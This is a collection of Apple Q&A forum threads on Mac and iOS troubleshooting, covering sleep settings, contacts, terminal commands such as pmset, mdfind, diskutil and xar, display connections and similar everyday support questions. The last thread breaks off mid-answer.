MacBook is sleeping despite being set to "never" sleep My 13" MacBook (late 2006) is set to never sleep but after about 3 hours the whole computer still goes to sleep.

Lid is always UP.
Power Adapter is plugged in and indicator light is green when battery is 100%.
Recently upgraded to Mac OS 10.6.8 and all system software is up to date.

Here are my exact settings...

System Settings -> Energy Saver ->

Computer Sleep: Never
Display Sleep: 15 minutes
Put the hard disks to sleep when possible:  NOT checked
Wake for Ethernet:  NOT checked
Automatically reduce brightness before display sleep: checked
Startup automatically after power failure:  NOT checked

(please ignore the "battery charge: 94%", it's only because I'm composing this question while using the battery)

I recently installed Simon for monitoring uptime of websites.  I cannot allow the computer to sleep since it stops the software monitor.  Exactly after three hours of inactivity, the MacBook goes to sleep so then Simon stops.  The console confirms sleep mode.  I can wake it without a problem but it's frustrating to see that my monitoring was interrupted for many hours by this sleep bug.

It's like it thinks it's set to sleep after 3 hours despite it being clearly set to "never".

So where is this thing stuck?  Is there some cache or plist file I need to blow out?  Troubleshooting this is very difficult since I essentially have to wait another three hours to see if I fixed it.

Any shove in the right direction appreciated.

As per comments, this is the result of pmset -g from Terminal:

MacBook:~ myusername$ pmset -g
Active Profiles:
Battery Power       1
AC Power        -1*
Currently in use:
 lidwake    1
 autorestart    0
 halfdim    1
 sms        1
 hibernatefile  /var/vm/sleepimage
 disksleep  0
 sleep      0
 hibernatemode  3
 ttyskeepawake  1
 displaysleep   15
 acwake     0
 womp       0

It's working properly again.  Got  up this morning and computer remained awake for the entire night.

The only thing I did since last failure:  I deleted the following file in the root Library, and re-entered my Energy Savings preferences.

/Library/Preferences/SystemConfiguration/com.apple.PowerManagement.plist

The Terminal now reports this for pmset -g.  Note the difference on the first two lines.  I guess the original settings were somehow corrupted.

MacBook:~ myusername$ pmset -g
Active Profiles:
Battery Power   -1
AC Power        -1*
Currently in use:
 lidwake    1
 autorestart    0
 halfdim    1
 sms        1
 hibernatefile  /var/vm/sleepimage
 disksleep  0
 sleep      0
 hibernatemode  3
 ttyskeepawake  1
 displaysleep   15
 acwake     0
 womp       0


All contacts have disappeared from iPhone All contacts have vanished from my iPhone4. Group contacts are all that are visible, and they are Facebook contacts.

I have tried uploading SIM contacts to phone. I have turned off the phone and back on. I have synced to my PC and no contacts visible. I have tried to connect to iCloud and error message reads cannot connect to server. Phone reflects iCloud backup not on. I do not know what else to do.

I would start from a computer and log into iCloud.com and inspect that your account is in good order and add a contact / review what contacts are already stored in the cloud.

At that point, you can troubleshoot the iOS to iCloud sync in knowing that it isn't a problem with your account itself or a server side error.


how to install hypre using terminal on OS X 10.9.1 I want to install the lastest version of Hypre. It must be safe So using terminal is the safest way. I have brew.

My question is : How can I do this using the terminal ?

I don't really understand why you say it's safer to install it from the terminal. It's (almost) the same when you install it from the GUI.

Since the official website uses a form with a CGI, you'll have to download the installer from your browser.


Birthday reset on iPhone 6 I entered my birthday into my contact information on my phone very soon after I bought it, which was about a year ago. But last night (December 31st) after midnight, my phone changed my birthday to January 1st, 1989.

I've tried to change it in my contact information, but it just resets it again.

It uses this date wherever I might look at my birthday. For example, on January 1st it said happy birthday in the Notification Center. It also uses this date as my birthday in the calendar or if I ask siri

Any idea why this is happening and/or how I might be able to fix it?

Happy birthday Josh. My first thought is that your battery may have defaulted your system clock so you could try reboot, then make sure your clock retrieves the real time from Apple servers, make sure you set the correct timezone, then reenter your birthday on the calendar. Let us know how this turns out.


Help in understanding a command line search of all sqlite files on os x device I was listening to a Talk Python To Me podcast that had Simon Willison as the guest. Willison discussed two projects he is developing, Datasette and DogSheep Beta, both of which allow you pull in data as an SQLite database (Datasette) and then index and query it (DogSheep Beta). All your data include Apple Watch data, texts, photo data including lat/long and even the scoring Apple uses to rank your photos.
The two links here are really interesting and I recommend them.
The problem I'm having finding .sqlite files. The directions and the YouTube say to install Datasette and point it against a database on your laptop.  I know I can use the Finder for files but I'd like to follow along with youtube.
At around 5:31 in his PyCon AU talk, he types out:
mdfind "kMDItemDisplayName ==*.sqlite" -0 | xargs -0 stat "-f%z %N" | sort -nr | head -n 20
I managed to read the incantation but while I get the gist, there are a number of details that Apple's CLI help pages don't cover.
So, here are my questions:

What is the -0 flag, specifically? (as opposed to the overly brief example Apple gives)
What does xargs -0 stat "-f%z %N" mean?
-nr what are the n and r flags for sort?
finally (and you probably guessed it with order) what is -n flag for head?

There are details in man pages for those arguments.
From man mdfind:

-0          Prints an ASCII NUL character after each result path.  This is useful when used in conjunction with xargs -0.

From man xargs:

-0      Change xargs to expect NUL (``\0'') characters as separators, instead of spaces and newlines.  This is expected to be used in concert with the -print0 function in find(1).

From man stat:

-f format
Display information using the specified format.  See the FORMATS section for a description of valid formats.

z       The size of file in bytes.

N       Displays the name of file.

From man sort:

-n, --numeric-sort, --sort=numeric
Sort fields numerically by arithmetic value.  Fields are supposed to have optional blanks in the beginning, an optional minus sign, zero or more digits (including decimal point and possible thou-
sand separators).

-r, --reverse
Sort in reverse order.

From man head:

head [-n count | -c bytes] [file ...] This filter displays the first count lines or bytes of each of the specified files

So to break it down:

mdfind finds all .sqlite files and appends NUL char to each line
xargs displays the results in format NUMBER_OF_BYTES FILE_PATH
sort sorts the results by NUMBER_OF_BYTES descending
head displays top 20 results


Can I write Latex in Notes? I am using my iPad (with pencil) and my MacBook to write a document. I type using my Mac and draw some drawings in between texts. I want to add some Latex formulas, however, but I'm not sure how to do this.
Is it possible to write Latex in notes or more generally, is there any software that lets me type (in macOS), draw (on iPad), and use Latex formulas simultaneously?

I use LaTeXiT and it does the job for small formulas in between text. I do try to write directly in text (with CMU font) whenever possible to avoid a "floating" object in the text.


Command to erase a file permanently There is a command to erase a file without send it to the trash?

I am pretty sure that i don't need some files anymore.
I want to clean my storage. Do I need to send those files to the trash?

I'm not sure how confident you're going to be using Terminal commands as a brand new user, so I wouldn't recommend doing anything that can permanently, no questions asked, delete data from your hard drive.

It would be far safer to delete files to the Trash using the standard Finder command
 Cmd ⌘   Backspace ←  .

Then when you are happy you really didn't need the files, again from the Finder
 Cmd ⌘   Shift ⇧    Backspace ←    will empty the trash.

That in itself wouldn't securely erase, preventing all recovery efforts; but from a standard user perspective, they would be gone & the hard disk space freed up to be used again.


What software can rip high quality audio from a DVD? (losslessly if possible) In Mountain Lion, how do I rip only the audio from a DVD as losslessly as possible?  I have several concert DVDs that I would like to listen to on my iPod.  I have an extensive music library, which is mostly ripped from my own CDs in Apple Lossless format, so my best-case scenario is getting lossless audio off of the DVDs and converting it to ALAC.

I realize that the audio tracks on DVDs might already be lossy if they're in AC3 format, but PCM is lossless.  If there is PCM audio on the DVD, then I want to rip that from the DVD and convert that to ALAC.  If there is AC3 audio on the DVD, then I want to rip that from the DVD and pretend that I'm not annoyed by a lossy resampling in the conversion of AC3 (which I can't listen to on any device that I own) to AAC (or something else).

I know that Handbrake is great for ripping video, but its FAQ says that it doesn't do audio only.  AudioHijackPro will record the audio, so that's introducing an unnecessary layer of loss if the audio is PCM, and I'm not sure if resampling an AC3-to-AAC is less lossy than recording an AC3 track into MP3.

I'm willing to deal with a convoluted workflow to achieve my goal.

MPEG Streamclip can do this. It has options to extract the audio track under the File->Demux menu. You may need apples MPEG2 QT components.


Can Apple provide the serial number for stolen Macbook Pro My Macbook Pro has been stolen and I do not have the serial number on hand. The police have requested the serial number to assist in locating the laptop. This is an important criminal case and they need the laptop as evidence.

I called Apple and they said they could not help me, but perhaps there was some miscommunication. I thought the registration information I entered when I initially activated the laptop would be sufficient for identification. I did not purchase a repair plan and the computer never required servicing.

Does Apple have this information based on that initial activation (I just did it again with my replacement laptop) or some other use of the device? The police/ the DA is willing to contact them as well, if it helps.

If you registered the device then the serial number is recorded with your Apple ID at supportprofile.apple.com.


How do you turn off the "Try the new Safari" notification? In OS X Yosemite and OS X El Capitan, when starting Google Chrome or Mozilla Firefox, there is an invasive, annoying, and persistent notification, titled "Try the new Safari."

There is only two options in the notification.

Clicking on "Later" will have the same notification come back next time, and "Try now"… well, I dislike being forced to do things on my own computer.

This notification reminds me of the annoying popups coming in another famous operating system, Microsoft Windows, and this is one of the many reasons why I am not using it anymore.

Is there any way to get the notification to not show up anymore without actually trying Apple's Safari?

You can get rid of it without giving in to Apple‘s desire for you to “Try Now”. Even if you click the button, they will ask you to change your default and may still ask again at a later time. I have explained it in much greater details on my blog but the gist of it are these three commands:

defaults write com.apple.coreservices.uiagent CSUIHasSafariBeenLaunched -bool YES
defaults write com.apple.coreservices.uiagent CSUIRecommendSafariNextNotificationDate -date 2050-01-01T00:00:00Z
defaults write com.apple.coreservices.uiagent CSUILastOSVersionWhereSafariRecommendationWasMade -float 10.99

You must log out and in again for the change to apply. You should actually do it immediately to prevent the system from reverting the changes.

I also cover how to stop Safari from prompting you to become the default every few days. (epimorphic touched on this briefly.) Interesting if you need to use Safari on occasions for site-compatibility, testing, or whatever reason. (Oddly enough, I have not heard any automated browsing test suite authors complaining about this yet.)


Enable internet sharing via iPhone USB This is not a duplicate of the questions posted here  and here

It is a duplicate of the question posted here however there is no answer to that question and one of the commenters is wrong about the direction of sharing. I am posting this again to hopefully get a solution for this.

I have enabled internet sharing in OSX via settings -> sharing then clicking on internet sharing. I have tried this using wifi which works just fine, however I am no longer allowed to create a wifi network because security.

My new plan is to use the iPhone USB option to share my Mac's ethernet connection with my iPhone. The setup seems simple and I have selected "Share your connection from: Ethernet" "To computers using: iPhone USB". I don't currently have a connection to the internet. Is there something else I need to do?

The question is old but it seems it is now possible to share a Mac Internet connection from the ethernet port, with an iPhone connected to the Mac via a USB ↔ lightning cable,

Ensure the Mac Internet is working properly via the (thunderbolt adapter) ethernet port
Connect the iPhone (iPad) via the USB ↔ lightning cable
Unlock the iPhone ; if its asks for "Trust this computer?", tap "Trust"
Go to the Mac System Preferences Sharing [ uncheck "Internet sharing" if it is checked in order to allow changes to "To computers using:" ]
Choose "Share your connection from:" either "Ethernet" or "Thunderbolt ethernet"
Check the "To computers using:" "iPhone USB" box then check the "Internet sharing" service.

The iPhone should now be able to use Internet from the Mac.

If you want to be sure the iPhone is really using the Mac connection, switch off "Wifi" and "Cellular data".

[ achieved on iOS 10.3.2, MacOS Sierra 10.12.5 ]


using windows 8, message says problem with this drive recently bought a new computer with windows 8. Installed ITunes and all my music is on the computer. When I plug in my Ipod classic to synch new music added I get the following message: There's a problem with this drive. Scan the drive now and fix it. I am a 65 year old that doesn't know what they want me to do. If I restore it to factory it will wipe all the music off of it right? Anything else I can do? I don't understand how to scan the drive and fix it. Thanks. Carol

This problem occurs is most frequently because you didn't safe eject the device (in this case, your iPod) from your computer. The message will continue to appear every time you plug in your iPod until you click it (the message), and then click "Scan and fix". Windows will run a program called CHKDSK in the background, which will fix any problems with your iPod's storage. It's very unlikely that you will lose data when you do this as CHKDSK is specifically designed to find and fix problems with data.

To prevent the message occurring in future, you should safely eject the device. This basically lets the device know that you want to unplug it, so it can finish communicating with Windows and save any data to its storage. If you just pull the cable out without first telling the iPod what you're about to do, it might still be half-way through transferring some data. To safely eject the iPod, refer to this Apple Support article: http://support.apple.com/en-is/HT201646

Note: Even if you weren't actually transferring data when you unplugged it, if you don't safely eject it, the device will know it wasn't correctly unmounted from the computer before being removed and will tell Windows next time you plug it in, causing that message to pop up. Also, unlike what angus batkin said, it's definitely not a bug in Windows.


What is the best way to connect a mid 2012 macbook pro to a new ultra wide external monitor? What is the best way to connect a mid 2012 macbook pro to a new ultra wide external monitor?  I know most of the monitors suggest using USB C but that doesn't exist in my macbook pro so trying to figure out the best option (that doesn't require ordering a new laptop)

I'm assuming you're asking about the UltraWide LG monitor range, since this is their registered mark.
The best way would be to use the Mini Display Port (also known as Thunderbolt) on your Mac and Display Port on your monitor (with the correct cable), but you will not be able to use more than 2560 by 1600 (In case you have 15" 2012 MacBook Pro with retina display). Via HDMI, your MacBook is able to output only 1920 by 1080.
Such a compatible monitor should be LG 29WK600-W.


What is the layout of a real Apple supplied fusion drive? Would someone who has a fusion drive that they bought directly from Apple please provide diskutil output sufficient to describe the choices they made?

I've seen lots of different sets of advice for how to DIY it, and that's fine, but I'd like to know how Apple is doing it on the ones they sell.

In particular, the interesting part is the choice they made on locating the recovery partition. Is it "outside" the fusion drive? If so, is it located on the SSD or the HD? Or is it "inside"?

If it were up to me, I would be inclined to locate the recovery partition "outside" on the spinny disk, but before my SSD and retrofit kit comes in the mail, I'd like to know how Apple did it.

Ars Technica did an article on how to roll your own Fusion Drive and one that details the layout of an Apple installed Fusion drive from a Mac Mini.

From that article:

LeeHs-Mac-mini:~ leeh$ diskutil list
/dev/disk0
#: TYPE NAME SIZE IDENTIFIER
0: GUID_partition_scheme *121.3 GB disk0
1: EFI 209.7 MB disk0s1
2: Apple_CoreStorage 121.0 GB disk0s2
3: Apple_Boot Boot OS X 134.2 MB disk0s3
/dev/disk1
#: TYPE NAME SIZE IDENTIFIER
0: GUID_partition_scheme *1.0 TB disk1
1: EFI 209.7 MB disk1s1
2: Apple_CoreStorage 999.3 GB disk1s2
3: Apple_Boot Recovery HD 650.0 MB disk1s3
/dev/disk2
#: TYPE NAME SIZE IDENTIFIER
0: Apple_HFS Macintosh HD *1.1 TB disk2

LeeHs-Mac-mini:~ leeh$ diskutil cs list
    CoreStorage logical volume groups (1 found)
    |
    +-- Logical Volume Group 31CBA650-4ABC-4DA6-AA73-6D96B36693E2
        =====================================================
        Name:         Macintosh HD
        Size:         1120333979648 B (1.1 TB)
        Free Space:   0 B (0 B)
        |
        +-< Physical Volume F4A50F9C-841D-4C6D-AFC4-6A10560E0717
        |   ----------------------------------------------------
        |   Index:    0
        |   Disk:     disk0s2
        |   Status:   Online
        |   Size:     120988852224 B (121.0 GB)
        |
        +-< Physical Volume C86789FD-1978-453A-BCA7-81DC05AA66C7
        |   ----------------------------------------------------
        |   Index:    1
        |   Disk:     disk1s2
        |   Status:   Online
        |   Size:     999345127424 B (999.3 GB)
        |
        +-> Logical Volume Family AA92FDF8-F962-4DE3-AC2F-1B6ABF22AA22
            ------------------------------------------------------
            Encryption Status:       Unlocked
            Encryption Type:         None
            Conversion Status:       NoConversion
            Conversion Direction:    -none-
            Has Encrypted Extents:   No
            Fully Secure:            No
            Passphrase Required:     No
            |
            +-> Logical Volume B97C9558-14FC-4BFC-B413-AFB292BD29F0
                -----------------------------------------------
                Disk:               disk2
                Status:             Online
                Size (Total):       1115853029376 B (1.1 TB)
                Size (Converted):   -none-
                Revertible:         No
                LV Name:            Macintosh HD
                Volume Name:        Macintosh HD
                Content Hint:       Apple_HFS

As you can see, the recovery partition is "outside" the Core Storage volume which gets mounted by the OS and functions as "the Fusion Drive". The Fusion Drive is comprised of one standard partition from each disk, rather than using the full drive and storing the configuration data out of or in-band by hiding it. Everything we know so far about standard Fusion Drives is pretty straightforward and transparent.


2014 Mac Mini with two mDP-DP monitors I'm planning to upgrade from a 2011 base model Mac Mini to a 2014 high end Mini (2.8Ghz i5, Iris, 16GB ram) and wanted to see if I could drive two 2560x1600 monitors through the thunderbolt ports with two mini DisplayPort to DisplayPort cables.

Specs from EveryMac don't specifically mention Mini-DisplayPort to DisplayPort, but am I right to assume that Thunderbolt is pretty much identical to DisplayPort?

  This model supports "up to two displays" at 2560x1600, both at millions of colors, via the two Thunderbolt 2 ports. It supports Thunderbolt digital video output and native Mini DisplayPort output as well as DVI, VGA, and Dual-link DVI using Mini DisplayPort to DVI, Mini DisplayPort to VGA, and Mini DisplayPort to Dual-Link DVI adapters.

Based on other questions I’m 99% sure it works but just wanted to be absolutely certain!

You will not be able to drive a Mac Mini to a monitor with a resolution of higher than  1920 x 1200 off of that HDMI port (different versions of HDMI have different capabilities vs. different versions of DP/mDP--the Mac version of HDMI is old). For 2560 resolution you must attempt to use the Thunderbolt ports to connect to the display mDP ports--in theory, although they are not identical, as the thunderbolt capabilities of data transfer are a superset of the mDP's, the thunderbolt port is backwards compatible with the mDP port and the Mac Mini will recognize the mDP monitors. Problems have been reported in practice in achieving full resolution for the mDP displays; there are also positive reports.

see: http://www.techadvisor.co.uk/feature/digital-home/displayport-vs-hdmi-3535257/
and:
https://support.apple.com/en-us/HT204388


how to check if it is safe to delete iNode file (or how to inspect its contents)? How do I check if it is safe to delete the following file?

$ cd /lost+found/
$ file iNode44670523
iNode46670523: xar archive -version 1

Note: the date of the file indicates it is about 1 year old. the first 4 characters of the file are "xar!"

can I just delete it (it's probably backed up by Time Machine) and reboot and check that everything runs fine as it is? is there any simple way to inspect the contents of the file?

If you're comfortable using the terminal, you might be able to figure out what the file is. If you're not comfortable using terminal, I wouldn't worry about doing this. I was doing this mainly for my own interest rather than any real need.

Open terminal and enter the following commands (enter the text following the $):

$ cd /lost+found
$ ls -l
total 10087432
-rw-r--r--  1 root  wheel  5164763151 25 Oct  2014 iNode10324487

$ file iNode10324487
iNode10324487: xar archive - version 1

This tells me the iNode10324487 file is meant to be of type xar, which is an archive file. A quick search for "binary file xar" finds the man page for the xar utility on OS X. This tells me that I can view the list of files contained within the xar file with the following command:

$ xar -t -f iNode10324487
Distribution
InstallMacOSX.pkg
InstallMacOSX.pkg/Bom
InstallMacOSX.pkg/Payload
InstallMacOSX.pkg/Scripts
InstallMacOSX.pkg/PackageInfo
InstallMacOSX.pkg/InstallESD.dmg
Resources
Resources/ar.lproj
...

So the orphaned file that I've got taking up 5.16GB on my disk looks like an OS X installer package. I'm pretty confident that I don't need that, so I can delete it.


Why is russian beta testing software on my Mac? Yesterday I discovered that there is a piece of software called "Ассистент обратной связи" in the /System/Library/CoreServices/Applications Directory of my Mac (OS X Mavericks). What's the deal with this application? Is is legit? Why does it have a Russian title?

It looks like Feedback Assistant.app. Maybe it's missing the en translations. You can check if that really is the correct app in Terminal with:

ls /System/Library/CoreServices/Applications

The output will reveal the real (not translated) applications names.

The Ассистент обратной связи string could be found using:

plutil -p Feedback\ Assistant.app/Contents/Resources/ru.lproj/InfoPlist.strings

The output:

  {
    "CFBundleDisplayName" => "Ассистент обратной связи"
    "CFBundleName" => "Ассистент обратной связи"
  }

To make sure, the app is really from Apple you can run

codesign -d -vvv Feedback\ Assistant.app

and look for Authority=Apple Code Signing Certification Authority.


Why Does My Apple Watch Lose Connection to My iPhone When Using a VPN I am using an Always On VPN on my iPhone 6s that I setup using Algo. The VPN is hosted on Digital Ocean. I add the VPN by installing a configuration profile on a supervised device.

Whenever I install the VPN configuration profile on my iPhone, my Apple Watch (Series 4) says it is still connected through Bluetooth, but all data transfer between phone and watch is halted. If I go to Settings -> General -> Usage on the iPhone Watch app for example, I get an error message about being unable to connect to the watch. I have played with all the VPN settings here, but they seem to not fix anything https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf.

Have VPNs on an iPhone been known to break watch connectivity? My understanding is that Bluetooth never falls under the VPN realm. Thanks!

Edit: As an additional bit of information. When attempting to re-sync anew or from a backup of the Apple watch, syncing hits an error mid-through and reverts to unpaired again. This is also because of the VPN as I do not have issues with pairing when there is no VPN on the iPhone.

I have come to the conclusion that a VPN simply causes a lot of connection issues when dealing with iOS and watchOS. For example, I found that iMessage and standard texts were not working correctly on my iPhone when my VPN was on. This is all besides the Apple Watch connection issues.

My answer is a non-answer in that VPNs and iOS/WatchOS do not play well together. I wish I could point you towards some documentation on why, but I cannot find any.


Is there a way to use fingerprint only for entering the iTunes & AppStore password? I'd like to use my fingerprint instead of entering the iTunes password via keyboard.  However, for that to happen, I have to define a 4 digit passcode.

And despite the fact that on the Touch ID and Passcode page, i've deselected iPhone Unlock, it still makes me enter the password.

How can I use the fingerprint exclusively for entering iTunes and App Store credentials?

You can only use Touch ID if you have a passcode set. Turning off passcode will disable all Touch ID features. (switching on just "Use Touch ID for iTunes & App Store" will enable the passcode globally).

Either you'll have to jailbreak your device and resort to tweaks such as CleverPin (disables passcode when connected to your home network), or use Touch ID/Passcode to unlock your phone.

If you would like to know more about jailbreaking, I suggest you check out this FAQ  (there are lots of misconceptions about jailbreaking) I will also gladly answer any questions you may have, and definitely head over to the /r/jailbreak subreddit for additional help and support. A lot of the tweak developers are active on the subreddit, it's also a good place to request certain tweaks.


What are specs of this MagSafe wire, and what is its purpose? I need to repair a MagSafe power adapter, which has a damaged cable.

As you can see in the photos, there is damage to what appears to be shielding.

  Update: This frayed wire is not “shielding.” See the accepted answer and its comments for details.

I’m leery of simply applying (more ugly, ineffective) tape as a long term option. I’m considering using some higher quality shrink-wrap or the like, but I‘d also like to account for the fraying.

The problem is, I cannot find any information online about the frayed part, such as the material and the function(s) it provides.

Can you provide detailed specifications of the frayed part of the cable, including how it works / what it does?

Presumably, I can use the answer to inform my repair decisions.

Of course, I also welcome comments you might have about how to or whether to repair this damage.

There are two cables that come out of the adapter (white brick) - a white cable and a bare cable (it's actually black on the very end of the cable at the adapter end).  The bare cable wraps around the white cable.  White being positive 18V and and black being ground.

Can you repair this?

Yes.  However it will involve destroying the case of the adapter because it's held together with adhesive.  I did this once and had to reassemble it with duct tape.  However, instead of fixing the cable, replacements can be had relatively inexpensively on eBay.

However, I highly suggest getting a new adapter because the case will never quite close properly and you run the risk of breaking the plastic because the adhesive is so strong.  If you do get a new adapter, get a genuine Apple and not a knock-off.


What is the s/mime encryption strength on iOS? I've set up S/MIME on my iPhone, but unlike other mail clients, I'm not given the option to select the hash or encryption algorithms. I assume iOS makes this decision for me.

Can anyone tell me what algorithms are used and what the key sizes are? It would be nice to know that the NSA are going to have a hard time to break into my Facebook notifications. :D

SHA-1 is most likely it. Here's what I've found to support that claim:
On the Cryptographic Message Syntax Services Reference document, it is stated that the S/MIME version used is 3.1, which is defined here and where it's stated that it supports SHA-1, SHA-256, SHA-384, and SHA-512 but:

The SHA-256, SHA-384, and SHA-512 algorithms [FIPS180-2] are not currently recommended in S/MIME, and are included here for completeness.

Even more, on the Certificate, Key, and Trust Services Reference document (although it's the Mac version), it's stated that the default algorithm used is the SHA-1.
In another document, it is said:

The most common hash function you will use is SHA-1, an algorithm developed and published by the U.S. Government that produces a 160-bit hash value from any data up to 2**64 bits in length. There are also a number of more exotic algorithms such as SHA-2, elliptic-curve-based algorithms, and so on.
For compatibility with existing systems and infrastructure, you may occasionally need to use older algorithms such as MD5, but they are not recommended for use in new designs because of known weaknesses.

So, although I couldn't find any direct statement confirming the use of the SHA-1 algorithm, clues point in that direction.


PDF reader for Mac that handles bookmarks well I have a couple of PDFs that are composed of scanned images of books. So there is no table of contents for jumping directly to the chapters. As a workaround I bookmark the page where a chapter starts, and use the list of bookmarks as a sort of index.

The problem with Mac Preview is that it doesn't allow to rename the bookmarks and by default all the bookmarks have the same name, so I can't tell which bookmark corresponds to which chapter.

As a alternative to Preview I started using Skim, which is very nice and covers all the features I want but Skim handles bookmarks weirdly. All the bookmarks from every single PDF appear together in the Bookmarks menu (regardless of which PDF is open) and I have to manually make bookmark folders for grouping the bookmarks by PDF's which is tedious and also simple drag and drop doesn't work somehow (turns all the bookmarks into the same bookmark).

I am looking for a alternative PDF Reader that can at least handle bookmarks in a normal fashion. Also if it can embed the bookmarks and highlights and notes into the pdf itself, so that when I transfer it to my other devices these bookmarks and annotations remain.

PDFpen allows editing bookmarks.

PDFpenPro allows editing and creating bookmarks, organising bookmarks, and so on.

They are actually marketed as PDF editors, not just readers.

Both allow embedding all annotations into the document itself.


MacBook Pro login screen stuck keeps pressing a key into password field forever My MacBook Pro (mid 2014, Sierra 10.12.1) sometimes gets stuck after waking up after sleep. Some key seems to have stuck and keeps pressing into the password field forever, filling the password field and making me unable to type anything in. If I select all/delete, it refills again immediately, just like I'm pressing and holding a key on the keyboard. I've pressed all the keys as maybe OS thinks one is stuck, hoping that it will fix, but pressing all keys didn't work either. The only solution for me is to restart (and even if I press esc to sleep again, it immediately wakes up in a second as its "pressing" a key), if I close the lid, wait a minute, and open it again, it's still the same.

If I restart, I lose the work inside my apps. Usually nothing serious, but sometimes I've got apps open doing work in the background etc (e.g. batch image processing, neural net training, or any stuff that I can't save properly until the end) and they are all gone. This happens rarely, but when it happens, it causes me to lose data.

Why would this happen and how can I prevent this?

The solution for me was from https://discussions.apple.com/thread/3450678

I turned off my bluetooth and it went away. There's definitely some issue with bluetooth and other devices.


Windows support software could not be saved to selected drive, Error Installing Win 10 on MBP2017. I Already did SVC, MVRAM reset I have already did SMC and NVRAM Reset, and also using first aid on my single partition drive. Still doesn't work.

First, before I was used first aid, and did NVRAM- SMC reset. The title is "Disk Could not be Partitioned"
Then after I did resets and first aid it was become "windows support software could not be saved to the selected drive"

I'm not sure whether Im right doing SMC and NVRAM reset or not. I've already did NVRAM reset in 20 second and in multi repetition grey-blanked screen. It already do, right ? And also SMC Reset.

And I did this :
CMD S in when reboot, and then

type command line :
/sbin/fsck -fy
reboot

to check... I dont know. To resolve Disk Could not be Partitioned issue, after I use First Aid.

I've already tired 4-7 times in three days. And it was very long time to wait BCA to download Windows Support Software. About 2-3 hours.

I dont know what should I do..
Thanks for the help.

Again after I give other shot by doing this : http://gizmostorm.com/fix-the-windows-support-software-could-not-be-saved-to-the-selected-drive-boot-camp/ said : Can't Install the software because it is not currently available from the Software Update server". But It works, after I give it another shot. I hope it'll help for anybody who have same issue as me. Thanks.


How to use 3 monitors on MacBook Pro that does not have a graphics card I'm currently using an early 2015 13 inch MacBook Pro with Intel Iris Graphics 6100. I'm trying to use 3 external monitors, but I can only get 2 to work. I've seen people suggest using an active cable, but all of their suggestions are for MacBooks with a dedicated graphics card.

Will an active cable be enough for my situation, or do I have to buy some other, more expensive piece of hardware?

Officially Apple only supports two external displays on this model.

More specifically, it supports an HDMI-compatible device, including 4K, while using one Thunderbolt display or it can support up to two Thunderbolt displays.

In terms of external resolution this model supports up to 3840 x 2160 pixels at 30Hz or 4096 x 2160 pixels at 24Hz via HDMI and up to 3840 x 2160 pixels at 60Hz via Thunderbolt.

You could investigate external graphics card options, but I would suggest living with the two displays instead. However here are some resources that may help you decide:

https://bizon-tech.com/us/bizonbox2s-egpu.html/
http://www.xlr8yourmac.com/tips/MBP_ThunderBoltVideoCard.htm
http://www.techrepublic.com/article/how-to-build-an-external-gpu-for-4k-video-editing-vr-and-gaming/


In Mission Control, is there a way to set-off desktops, to distinctly differentiate them? I regularly have 5 to 8 desktops open. Until recently, I've been using them for apps that are visually distinct, so in Mission Control I could tell which desktop had which apps and documents simply by glancing. Now, however, each desktop hosts the same app and all of the desktops look alike, making it difficult to tell which has which project on it. (I shift them around based on priority as the week goes on.)
I'm wondering if there's a way to highlight or otherwise set-off desktops——say, by having different colored borders around different ones, much like tags work.
(I'm running 10.15.6.)
Thanks!

Easiest would be to give each one a different background. You could have a background of a single color and change the color for different spaces. You could even make a solid colored image with a large number on it like 1, or 5 and make 10 of these images. Then give each space a different number background.


Safari extension for Google results navigation (↑/k, ↓/j) Title says it all. I found some posts linking to some private locations (mostly dead). I wonder if there ain't something like that for Safari. Google Chrome has several of them. E.g. Web Search Navigator. Are these extensions just well hidden or aren't there any at all?

I am also very annoyed by this. I found an old extension that isn't supported anymore called Mafuyu (http://wakabamac.blog95.fc2.com/blog-entry-1013.html). I've tried to run it but it's obsolete.

Another option seemed to be knogs which I found on GitHub (https://github.com/nqzero/knogs), originally for Chrome and Firefox but apparently someone adapted it for Safari. However, I have been unable to find the version for Safari because the only link i found was broken. (https://dl.dropbox.com/u/90126/GoogleJK/GoogleJK.safariextz)

If someone found the solution to this it would be greatly appreciated.

Thanks in advance.


Apple TV 3 and network time problem (after Update to 5.1!?) My Apple TV (3rd generation) doesn't connect to the internet any more because it doesn't succeed in getting the network time from my router.

I tried restarting, updating, resetting both – the Apple TV and my WLAN router (TP-Link 1043ND), I double checked the network time in my router, tried out an alternative firmware (DD-WRT), put down all security settings (no password), tried direct connection per cable (LAN) on Apple TV – but nothing worked:

I always get the screen that Apple TV tries to fetch the network time (I'm in Germany) – the manual selection of Berlin as time zone doesn't help.

It all worked a few weeks ago – after an update of the Apple TV Software it all went away ... my Apple TV got useless because it needs the correct time settings to connect to the internet.

Does anyone have an idea what I can do?

My TP-Link router had problems with AppleTV. The iPad didn't see Airplay. I resolved it by following this Apple KB page on iOS and OS X: Recommended settings for Wi-Fi routers and access points.


What are these folders and files in my library folder? I have several suspicious folders and files in my library folder.
And I was wondering if I should delete them.

ApplicationaContents
ApplicationContents
ApplicationSupport

appn

this is just a file containing the word:

hydrometrid

arracacha

edit:

If you can’t be sure they are safe, make a backup and check you have a copy of the files and then delete them.

Library can be finicky when you delete something the system needs, but Application Support with a space is legitimate. The others you show in th image don’t come from Apple so they’re malware at worst or third party created at best.


What is "Sign on via TV Provider" (Apple TV)? I'm interested in 'cutting the cord' to digital ("cable") TV service, so I'm exploring the "online" options, such as streaming through my Apple TV (3rd Gen.). I notice that usually when I try to do that, it requires me to visit activate.somewhere.com or otherwise sign in with my TV Provider credentials. What is this all about? And what happens when I don't have a "TV Provider" any more? Will this still work if Verizon (or someone else) still provides only my Internet service? Much thanks.

It's just a place where Apple lets you enter one account and then many apps can use that single sign on to validate you're paying for paid content. This feature is implemented on iOS and tvOS currently.

It's up to each third party app to use the service / API - but in the US this works amazingly well. Many people use it to cut the cord and pay nothing for cable or television packages. You simply pay one of many providers and choose the one you wish to use most and enter it in the OS.

https://support.apple.com/en-us/HT209233

I expect we'll have more news about this within a week (Apple Special Event
Live from the Steve Jobs Theater in Cupertino.
March 25, 2019, at 10:00 a.m.)  and you'll need to read up on your internet provider to see to what degree they implement network neutrality. Some network providers filter / block / charge extra for streaming data - others don't care what bits you download or from where those bits originate. Most providers are somewhere in the middle - throttles and caps, but for most cases you can use this without any added costs or hassle.


How to know which program has just played sound? At times, my computer suddenly played some annoying short sound (sounds like darrrt, seems not from the system), and it's so short that I have no idea where it comes from (and cannot capture it).

Is there any ways to find which program/process did that? (I really want to kill it!)

I am using OS X Mavericks.

Sounds like the iMessage logged in notification.

Try this command in terminal to verify:

